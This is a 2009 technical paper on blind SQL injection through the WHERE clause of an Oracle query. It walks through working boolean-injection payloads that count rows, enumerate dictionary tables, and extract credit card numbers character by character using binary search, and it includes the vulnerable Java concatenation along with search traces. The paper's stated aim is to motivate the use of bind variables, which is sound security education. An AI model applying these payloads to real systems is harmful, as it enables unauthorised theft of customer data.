Reading Data with the Where Clause


by Jaromir D.B. Nemec  


A lot has been written about the SQL injection. The typical scenario covers the modification of the SQL statement to bypass the password check or to execute some stored code. Less known is the possibility to read data by modifying the where clause.




DBA B: I found some select statements without bind variables in the shared pool of our web application database. The selects are probably concatenated with the string parameters passed from the web application. So we should check the vulnerability of the SQL injection.

DBA A: I know. I saw it, too. But there is no need to react immediately. The web app accesses only the product data, which is publicly available. And above all the user has no single execute privilege.

DBA B: Sure, but don’t forget the same user has access to sensitive customer data!

DBA A: I know. But the SQL injection –even if it could be done – affects only the where clause of the select statement. More important, the select returns only Boolean results  (product available / product not found) so there is no possibility to inject UNION to read other data.

DBA B: Where there is a grant there is a way





This paper demonstrated a less known vulnerability of SQL injection, showing how to read data from tables not covered in the original select statement by modifying the WHERE clause. The only precondition is that the access user has select rights on the target table.


Database Schema


The application schema (SQLINJ in our demonstration) contains a product table consisting of the product id and the product name. The content of this table is queried from the web application and the results are presented. The table structure and sample data are shown below.



create table product

(product_id varchar2(100),

product_name varchar2(1000)



SQL> select * from product;



---------- --------------------

P1         Budweiser

P2         Platan

P3         Trebon


The same application schema contains also a table with credit card information.


create table credit_card

(customer_id varchar2(100),

cc_number varchar2(100)



SQL> select * from credit_card;



---------- --------------------

C1         1929-10100-01

C3         17398727161



The details of the database configuration in the middle tier are not important for our consideration (ORM, connection pooling). The important thing is that the database access is done via the application access user (different from the schema owner) and this access user has granted select access to both tables.


 Web Product Query


The Product Query from the web application works very straightforwardly. In the search field of the browser you can enter a string. This string is appended to the select querying the product table. The result of the query is shown in the response view.

For example searching for ‘Budweiser’ results in the following statement:


SQL> select 'available' as status

  2  from SQLINJ.product where product_name = 'Budweiser';






Note that the concatenation of the input string with the query is the crucial point allowing the SQL injection. The creation of the query in the application is shown in the snippet below (Java string concatenation).


'select \'available\' as status ' +

'from SQLINJ.product where product_name = \'' +  searchKey + '\''


Sample Injection


Let’s demonstrate how a potentially malicious user can abuse the web application to get the number of records in the credit_card table. For now, we assume that the intruder guessed the table name. We will show later how it is possible to list the names of the tables.

The main problem to be solved is that only the WHERE close of the statement can be modified; we can’t add a new table to select from. So it is not possible to directly query the required data. What we can do is to *guess* the result (more precise apply the binary search). In our case of querying the number of records in the credit_card table we can ask for example “Is the count less than 6?”. How to manage it? It is as simple as 1,2,3 – see below.


  1. Check how the web application reacts in case that no product is found for the given search string. In most cases you get a message like ‘No product found..
  2. Find a string that leads to at least one product found. We can use the ‘Bud’ string for our demonstration – see sample data above.
  3. Search for ‘Bud’ and inject in the select an additional predicate describing the question; e.g.

AND (select count(*) from credit_card) < 6
 If you get the product shown now, you know that the answer to the question is yes. Otherwise (if you get ‘No product found.. ’) the answer is no.


Let’s demonstrate the approach using an example.


User input


Leads to SQL statement

select 'available' as status

from SQLINJ.product where product_name = 'Budweiser';


User input (faked)

Budweiser' and 6 > (select count(*) from sqlinj.credit_card) and '1'='1

Leads to SQL statement

select 'available' as status

from SQLINJ.product where product_name = 'Budweiser' and 6 > (select count(*) from sqlinj.credit_card) and '1'='1';


The first statement queries the ‘Budweiser’ product. Additionally, the second one answers the question about the cardinality of the credit_card table.

Well, let’s assume we get the product information, so we know that there are less than 6 credit cards in the table. How to proceed further?

Every child who played the hi-lo game knows the answer. The next question is “is the number higher than 3 (half of 6)”. And so on using the binary search algorithm.

See Appendix A for a simulation of such a search. We got the answer that there are two rows in the table. (Note that the data is simplified for demonstration purposes.)



Reading the Table


Let’s agree that counting the rows of a table with sensitive data is not the typical intention of a malicious user. But this is the basic step. If we know the number of rows in the table, we can read them from row 1 to row N.

The process of selecting the credit card number from the first row of the table will contain the following steps:

  1. get the length of the field cc_number in the first row – basically the same principle as in case of count; as both count and length return a number as a result.
  2. the next step will be done in a loop from 1 to the length of the field
  3. guess the character on the ith position using the hi-lo algorithm. To keep things simple we will consider only the printable ASCII characters (32-126).


In the example below the 9th position of the column CC_NUMBER in the 1st row of the table is being guessed. The question is whether the 9th character of the string is lower than 43 (ascii  ‘+’).


Bud%' and 43 >

 (select ascii(substr(text,9,1)) from (select text from (select CC_NUMBER text, row_number() over (order by rowid) rn from sqlinj.CREDIT_CARD) where rn = 1)) and '%'='


See Appendix B for a full trace of the querying of the CC_NUMBER.




A good point to object is that the intruder does know neither the name of the table containing the credit card details nor its column names. But to get this information is as easy as to query the dictionary tables all_tables and all_tab_columns. And we have already demonstrated how to read data from a table.


To illustrate this principle the “search string” to be used to guess the 6th character of the column_name of the 2nd column of the CREDIT_CARD table is shown.


Budweiser' and 67 >

 (select ascii(substr(text,6,1)) from (select text from (select column_name text, COLUMN_ID rn from all_tab_columns  where table_name = 'CREDIT_CARD' and  owner = 'SQLINJ') where rn = 2)) and '1'='1


Sample Implementation


To illustrate the applied algorithm we use the Groovy language [1]. The knowledge of Groovy is not required; the code should hopefully be readable as a kind of pseudo code.

Two tasks must be solved to read via the where clause; first reading of numerical values which is the easier task, second the reading of strings (VARCHAR2). We will go through both tasks in the sections below.

Note that to simplify the matter we use a SOAP based service instead of an html application. This makes the parsing of the response a little easier for demonstration purposes.


Reading Number


 Getting a numerical result of a select statement is nothing else that the hi-lo game. The only difference is that the upper bound is not known at the beginning.

The first step is to get the upper bound by trying the powers of two, stopping after the first one, which is higher than the result number.

In the next step we guess the number in the middle between the lower and upper bound:


check = guessLo + (guessHi - guessLo +1)/ 2


If the search string is found, we know that our guess is higher than the result. In this case we make the new upper bound the previously guessed number minus one.


guessHi = check-1


Otherwise the lower bound is set to the guessed number:


guessLo = check


The game is repeated until there is a difference between the lower and upper bound.


while (guessLo < guessHi) …


The whole algorithm is coded in Figure 1.

Note that the isFound method calls the service with the search string as a parameter. It returns true if some results were found. Otherwise it returns false. The implementation is not relevant for demonstration purposes; you may check the complete implementation in the resources below.


Reading Strings


Reading strings is a little more complicated than reading sole numbers. In the first step the length of the string must be evaluated. This is noting else than the algorithm covered in Reading Number applied on select length (string)


Furthermore, the characters of the string are evaluated in a loop. To read a character it has to be converted in its ASCII code. That transforms the task into reading a number again. To avoid some escaping problems the interval of examined ASCII codes is limited to printable characters.

The whole algorithm is coded in Figure 2.






This paper points out a less known aspect of the SQL injection security thread. The intention is to close this leak in web applications by appropriate actions (in most cases by the use of bind variables instead of text concatenation).

Note that in some countries the usage of SQL injection is restricted or even illegal!





[1] Groovy Language -

[2] GroovyWS  -

[3] Download the source code


Appendix A


Selecting the number of records in the table CREDIT_CARD.


read a numeric value using injection string:

Budweiser' and ${checkedNumber} > (select count(*) from sqlinj.credit_card) and '1'='1

starting with upper limit ... 4

testing 2 ...lower or equal

testing 3 ...higher

found 2


Appendix B


Selecting the credit card number from the first row of the CREDIT_CARD table.

To perform following query…


select CC_NUMBER 

from sqlinj.CREDIT_CARD

WHERE rownum = 1;


… this search string is used:



Budweiser' and ${checkedASCIIValue} > 
 (select ascii(substr(text,${i-thPosition},1)) from
   (select text from 
     (select CC_NUMBER text, row_number() over (order by rowid) rn
      from sqlinj.CREDIT_CARD) where rn = 1)) and '1'='1


The full log see here.



I got a review from Joxean Koret and Alexander Kornbrust on the Pete Finnigan’s Oracle Security weblog that the original set-up of the scenario allows much easier possibility to get the data, simple by using injection with UNION. I made a correction of the insecure select in a way that it returns only Boolean information (found / not found) to disable those direct ways of applying SQL injection.


Last revision 30.9.2009

Jaromir D.B. Nemec is a freelancer specializing in data warehouse and integration solutions. He can be reached at